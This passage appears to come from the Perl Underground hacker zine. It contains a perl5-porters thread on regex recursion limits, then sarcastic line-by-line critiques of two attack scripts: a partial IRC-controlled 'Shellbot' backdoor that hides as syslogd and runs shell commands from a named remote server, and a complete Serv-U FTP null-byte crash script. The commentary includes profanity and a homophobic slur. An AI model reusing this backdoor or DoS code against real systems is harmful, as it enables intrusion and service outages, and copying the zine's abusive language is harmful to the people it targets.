limit needs to disable that check temp. at the right place, > anyway. But at least they can do so. And it shouldnt be impossible to determine how deep the recursion needs to go before it will consume data. This is strictly to prevent left recursion without adding to much of a cost to the compilation phase. If somebody can come up with a better approach to detecting true left recursion then we could get rid of the limit outright. (Actually not true, the same rule applies to eval as well.) cheers, Yves -- perl -Mre=debug -e "/just|another|perl|hacker/" Reply Reply to author Forward Rate this post: 15. h...@crypt.org View profile More options Feb 14, 11:17 pm demerphq <demer...@gmail.com> wrote: :Just wanted to make clear, this isnt recursion in any normal concept :of the word. This is pattern recursion (inside of a while loop no :less!), on the HEAP, not the stack, and only applies to the case where :a recursive pattern does not consume any input before recursing, and :is there to prevent infinite loops either intentional or accidental. Ah, so failure mode is "out of memory" rather than SEGV? Seems no worse than the existing possibility of function call recursion then, and should be handled the same way - warn at a set limit if 'recursion' warnings are enabled, but other than that let it roll. C< use fatal > when you want severer behaviour than that. Note that I have one program which regularly breaches 64k levels of function call recursion, which prompted me to find and fix a bug at that threshold. The same program has never managed to run out of memory. Hugo Reply Reply to author Forward Rate this post: 16. Demerphq View profile More options Feb 15, 2:32 am On 2/15/07, h...@crypt.org <h...@crypt.org> wrote: > demerphq <demer...@gmail.com> wrote: > :Just wanted to make clear, this isnt recursion in any normal concept > :of the word. This is pattern recursion (inside of a while loop no > :less!), on the HEAP, not the stack, and only applies to the case where > :a recursive pattern does not consume any input before recursing, and > :is there to prevent infinite loops either intentional or accidental. > Ah, so failure mode is "out of memory" rather than SEGV? Seems no worse > than the existing possibility of function call recursion then, and > should be handled the same way - warn at a set limit if 'recursion' > warnings are enabled, but other than that let it roll. C< use fatal > > when you want severer behaviour than that. I dont think this is the right approach, its common for programs to allow regexes to be supplied by the user, its very rare for programs to allow recursive subroutines to be supplied by the user. > Note that I have one program which regularly breaches 64k levels > of function call recursion, which prompted me to find and fix a bug > at that threshold. The same program has never managed to run out of > memory. If the rules in a regex are left recursive unless limited it will loop until it eats all the memory. Its that simple. Yves -- perl -Mre=debug -e "/just|another|perl|hacker/" Reply Reply to author Forward Rate this post: 17. Demerphq View profile More options Feb 15, 10:22 am On 2/15/07, Robin Houston <r...@cpan.org> wrote: > It seems to me that it should usually be easy to detect infinite > looping at run-time, without the need to impose a hard limit on > recursion depth. > If the number of nested calls, without consuming any input, exceeds > the number of callable subexpressions in the pattern, then we must be > in a loop. (If I have passed 100 trees in a forest containing 99 > trees, then I must have passed at least one of them more than once, > so my route must have contained a cycle.) Ah yes, of course. Good call. > Of course, this reasoning doesn't work if the regular expression > contains embedded code, so we'd have to fall back to a cruder > counting mechanism in that, presumably very unusual, case. Currently we use a single counter for both. To do this we would have to separate the two wouldnt we? > The other thing that puzzles me is that Abigail's regex contains > fewer than fifty subroutines, so by my reasoning the recursion-depth- > without-consuming-input could not possibly exceed 50 unless there's > an actual infinite loop (which there isn't). I can only conclude that > the current check is not accurately measuring this recursion depth. > Looking at regexec.c, I can't see any place where nochange_depth is > decremented (when returning from a subroutine call). Is that the > reason for the discrepancy? Yes i think you are right. The tricky part is we use the same state hooks for handling recursion and what follows recursion. But i think ive worked out how to handle that. Ill post a patch soon. Yves -- perl -Mre=debug -e "/just|another|perl|hacker/" Reply Reply to author Forward Rate this post: 18. Robin Houston View profile More options Feb 15, 12:13 pm On 15 Feb, 2007, at 15:22, demerphq wrote: > Currently we use a single counter for both. To do this we would have > to separate the two wouldnt we? I'm not sure there's a need to separate the counters, exactly. What I meant is: using embedded code it's possible to create a situation where the number of nested recursion calls, without consuming input, exceeds the number of callable sub-patterns, but which is not actually an infinite loop. Here's a silly example: /(?<p>(??{$n++<100 ? "" : "a"})(?&p))/ In fact that will trigger the "Infinite recursion in regex" error, erroneously you could argue. Here's one that doesn't produce the error: /(?<p>(??{$n++<100 ? "" : "a"})(?&q))(?<q>(?&p))/ So, if the regex contains embedded code, it's not generally safe to assume that there's an infinite loop just because the recursion depth has exceeded the number of callable subpatterns. In that case, I guess the only thing to do is to fall back to a fixed or configurable limit. Robin Reply Reply to author Forward Rate this post: 19. Nicholas Clark View profile More options Feb 15, 12:36 pm On Thu, Feb 15, 2007 at 08:32:08AM +0100, demerphq wrote: > If the rules in a regex are left recursive unless limited it will loop > until it eats all the memory. Its that simple. Is that detectable at compile time? (Yes, this might be a naive question from me. I can see that it's already not easy to detect if two or more rules refer to each other in a loop, so that they mutually recurse) Assuming it's not easy to detect at compile time, is it going to be common to write regexps that are recurse to a great depth before consuming input, but don't recurse infinitely? Nicholas Clark Reply Reply to author Forward Rate this post: 20. Demerphq View profile More options Feb 15, 12:43 pm On 2/15/07, Nicholas Clark <n...@ccl4.org> wrote: > On Thu, Feb 15, 2007 at 08:32:08AM +0100, demerphq wrote: > > If the rules in a regex are left recursive unless limited it will loop > > until it eats all the memory. Its that simple. > Is that detectable at compile time? > (Yes, this might be a naive question from me. I can see that it's already > not easy to detect if two or more rules refer to each other in a loop, so > that they mutually recurse) Yes its detectable. > Assuming it's not easy to detect at compile time, is it going to be common > to write regexps that are recurse to a great depth before consuming input, > but don't recurse infinitely? Its not so much thats its not easy, it probably is in terms of the algorithm, its more that its timeconsuming and would require a fair amount of work with one of the nastiest routines in the perl core (study_chunk). But yes i think it will be quite common to see this. Essentially its what would happen as the parser traces through the internal nodes seeking a leaf. However Robins point means for pure recursion we wont ever have a problem, with mixed recursion/eval or eval alone we will still use the hard limit, but in my earlier patch i raised it to 1000 until it becomes a magic var. Yves -- perl -Mre=debug -e "/just|another|perl|hacker/" 21. Robin Houston It seems to me that it should usually be easy to detect infinite looping at run-time, without the need to impose a hard limit on recursion depth. If the number of nested calls, without consuming any input, exceeds the number of callable subexpressions in the pattern, then we must be in a loop. (If I have passed 100 trees in a forest containing 99 trees, then I must have passed at least one of them more than once, so my route must have contained a cycle.) Of course, this reasoning doesn't work if the regular expression contains embedded code, so we'd have to fall back to a cruder counting mechanism in that, presumably very unusual, case. The other thing that puzzles me is that Abigail's regex contains fewer than fifty subroutines, so by my reasoning the recursion-depth- without-consuming-input could not possibly exceed 50 unless there's an actual infinite loop (which there isn't). I can only conclude that the current check is not accurately measuring this recursion depth. Looking at regexec.c, I can't see any place where nochange_depth is decremented (when returning from a subroutine call). Is that the reason for the discrepancy? Robin PS. Sorry for breaking the threading. I can't find any way to forge headers using this MUA. Reply Reply to author Forward Rate this post: 22. h...@crypt.org View profile More options Feb 15, 1:39 pm Robin Houston <r...@cpan.org> wrote: :Of course, this reasoning doesn't work if the regular expression :contains embedded code, so we'd have to fall back to a cruder :counting mechanism in that, presumably very unusual, case. We already have a separate switch C< use re 'eval' > which we added when eval groups were made available, so that programs already accepting regexps from external sources would not suddenly become more dangerous. Should something similar be required to permit regexps to use those new features that could cause problems in this way (such as DOS attacks from recursive regexps)? Arguably the same flag could be used (since it is protecting against the same kind of dangers) but its name isn't really appropriate for that. The alternative would be a new C< use re 'recurse' >, and another new flag that says more generally "I don't need any checks against malicious regexps, even if you add new features in the future". In the presence of this flag, the rest of the discussion simplifies to wanting to help programmers debug erroneous code without getting in their way when the bugs are fixed: we no longer need to worry about malice. Hugo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 5242 2007-02-26 18:12 laugh/nasti.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Calvin> Ha! Mosquitos don't even HAVE teeth! That shows how dumb YOU are! #!/usr/bin/perl # VulnScan v2 # Norman ownz your box my $processo = '[syslogd]'; # Get some strict, get some warnings, and get this above your $processo use HTTP::Request; use LWP::UserAgent; #CONFIGURATION # ^ A Label! Holy fuck! my $linas_max='4'; my $sleep='5'; # Do not quote your numbers. my @gstring='Source'; my @cmdstring='http://source.webcindario.com/ale.txt'; my @adms=("Source"); my @canais=("#NaStI"); # I will give you benefit of the doubt and assume the above arrays will expand. my $nick='NaStI'; # NaStI, NaStI boy! my $ircname ='norman'; # how BLAND chop (my $realname = `uname -a`); #chop chop $servidor='shells.telesito.com.ar' unless $servidor; # servido ||= 'shells.telesito.com.ar'; my $porta='4444'; my $VERSAO = 'Shellbot RFI by Norman v1.4'; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; use IO::Socket; use Socket; use IO::Select; # Why are these down here? Why Socket AND IO::Socket? chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; # All wrong! $0="$processo"."\0"x16;; # I like the extra ; just to be sure # Let's assume it was a typo my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid); our %irc_servers; our %DCC; # The famed our, is it really so needed? my $dcc_sel = new IO::Select->new(); $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { # fuck. no. my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } # MORGAN OWNED YOUR BOX # www.elmorgan.com.ar # irc.gigachat.net - #Morgan # Yes, advertise your identity. Again, and again, and again. sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; # my ($meunick, $servidor_con, $porta_con) = @_; # why not? my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); # LAME if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; #LAME $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; # Randomly quote variables, and randomly don't. Good show, good show! $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); # ack, I'm coughing my @ready = $sel_cliente->can_read(0); next unless(@ready); # Parens are not needed everywhere. foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { # for my $c (0 .. $#lines) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; # You like it slow, don't you? unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } # what the fuck is up with that control flow } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; # dude...no. if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); # so much quoting, the all hanging " key } if ($args =~ /^(\Q$meunick\E|\!norman)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } # No more. All the same bullshit. Plus, there is some different bullshit, # but it isn't worth our time. Just stop sucking and write some code that isn't embarassing. # Oh, and I removed some copyrights, AND your notice to not remove copyrights, YOU BITCH. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 657 2007-02-26 18:11 rant/egomaniac.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dear Fuckfaces, I was featured in your last publication. Why are you so mean, writing this pointless zine where you make fun of people for writing bad Perl? You should be like h0no, where you really own people. Your zine has nothing useful. And scrap all those highly informative and intelligent articles gathered from the Perl community, I didn't even read them. In fact, I didn't even read most of the article about me. I certainly didn't learn anything. I'm gonna bitch about the little issues you pointed out, and ignore the big stupid things I did. I'm going to continue writing shitty Perl code, but I won't publish as much. Regards, Some Egomanic ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 4233 2007-02-26 18:10 laugh/cirt.dk.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Calvin> Aw Mom, we're right in the middle of a croquet game! #!/usr/bin/perl #ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO # # ************************************************** !!! WARNING !!! *********************************************************** # * FOR SECURITY TESTiNG ONLY! * # ****************************************************************************************************************************** # * By using this code you agree that I makes no warranties or representations, express or implied, about the * # * accuracy, timeliness or completeness of this, including without limitations the implied warranties of * # * merchantability and fitness for a particular purpose. * # * I makes NO Warranty of non-infringement. This code may contain technical inaccuracies or typographical errors. * # * This code can never be copyrighted or owned by any commercial company, under no circumstances what so ever. * # * but can be use for as long the developer, are giving explicit approval of the usage, and the user understand * # * and approve of all the parts written in this notice. * # * This program may NOT be used by any Danish company, unless explicit written permission from the developer . * # * Neither myself nor any of my Affiliates shall be liable for any direct, incidental, consequential, indirect * # * or punitive damages arising out of access to, inability to access, or any use of the content of this code, * # * including without limitation any PC, other equipment or other property, even if I am Expressly advised of * # * the possibility of such damages. I DO NOT encourage criminal activities. If you use this code or commit * # * criminal acts with it, then you are solely responsible for your own actions and by use, downloading,transferring, * # * and/or reading anything from this code you are considered to have accepted the terms and conditions and have read * # * this disclaimer. Once again this code is for penetration testing purposes only. And once again, DO NOT DISTRIBUTE! * # ****************************************************************************************************************************** # # FTP Serv-U 2.3e FTP Service Killer # http://www.cirt.dk/ # # #For some reason it only works on a local network #### ^ I wonder why ... # Crashes FTP Serv-U 2.3e by sending it a string of null bytes. # # WTF # Remove ALL of that fucking annoying cock juice from the top of your script # Fags use IO::Socket; my $host; # Host being probed. my $port; # FTP port. # my ($host, $port); # Thanks for the lexical variables, though. # Could you possibly be the first? Ack! system('cls'); # Lame Windows-centered code print "\n Serv-U 2.3e Overflow Vuln 2002 by Dennis Rand."; print "\n http://www.cirt.dk"; print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; print "\n Enter host to crash : "; # Could another form of quoting be in order? $host=<STDIN>; chomp $host; # chomp(my $host = <STDIN>); if ($host eq ""){$host="127.0.0.1"}; # $host ||= '127.0.0.1'; print "\n Port : "; $port=<STDIN>; chomp $port; if ($port =~/\D/ ){$port="21"}; # $port = 21 if $port =~ /\D/; if ($port eq "" ) {$port = "21"}; print " Connecting to $host:$port..."; my $connection = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port", ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n"; # Quote quote quote $connection -> autoflush(1); print "..... \n"; $counter = 0; $buf = ""; # Not lexical anymore? # 135168 while ($counter < 135168) { print "."; $buf .= "\x00"; $counter += 1; print $connection "$buf\n"; # Could be smooth, but who needs it, I suppose } sleep(2); print "\n Done....."; close($connection); # Parens not needed. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 979 2007-02-26 18:08 rant/str0ke.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Locke> I was considering going for str0ke round 3. <Locke> But maybe people are getting tired of him? <Socrates> I thought you had something else specifically, a second article. <Socrates> I personally would not like to attack str0ke again. <Locke> okay, so no str0ke <Socrates> I usually try not to use the same person twice, and I think there were three articles written about him. ... 17 minutes later ... <Locke> http://milw0rm.com/exploits/2974 <Locke> Really, you'd think he'd learn ... Later? ... <Locke> Rather daemonion, wouldn't you say? <Socrates> Perhaps. That is not necessarily supporting an attack. The sign is a voice which comes to me and always forbids me to do something which I am going to do, but never commands me to do anything. <Locke> You must choose one way or another. We promised you str0ke, and we give you...half str0ke? 1/4 str0ke? That's ok! I know you, the ravishing crowds, are disappointed. We raise our glasses to you, and to str0ke! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 715 2007-02-26 18:07 rant/ownedbypu.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ What to do if you have been schooled by Perl Underground 1. Think deeply about what you have done with your life and what you intend to do. 2. Make a list of all the Perl things you did wrong and were criticized for. Post on wall. 3. Remove any bullshit, useless, degrading scripts that you only have online to pad your code archive and your ego. 4. Go through all of your other programs and fix up according to the list in point #2 and according to your independent Perl research. 5. Take all further programs to professionals or unemployed experts before publishing. 6. Put a long thank you note somewhere online, where you repent for your ill deeds. 7. Make Perl a lifelong passion, and strive for education. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 1359 2007-02-26 18:05 rant/outr0.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Shoutz and Outz I would like to thank the record number of contributors to Perl Underground 4. All of your work is greatly appreciated and increases the overall diversity. Also, thanks to everyone who complimented on previous editions, or offered suggestions. Thanks to everyone who took their inclusion with style, and I suppose I can thank those of you who didn't, for spreading it through your complaining. Hoboeuan, you very narrowly missed being included. In the end, I figured that your foolery was neither unique nor entertaining, and I couldn't possibly humiliate you after ZF0 owned you and showed the world. Either way, I expound the moral that you should realize that by being a dick you can piss people off in the oddest of places, and that those people might notice the chance to get back at you when it drops into their laps. Thanks to everyone who writes or appreciates good Perl, and to everyone working hard to improve Perl and improve how the rest of us experience Perl. ___ _ _ _ _ ___ _ | _ | | | | | | | | | | | | | _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| | | | -_| _| | | | | | . | -_| _| | | _| . | | | | . | |_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___| Forever Abigail $_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print; "Just another Perl Hacker," EOF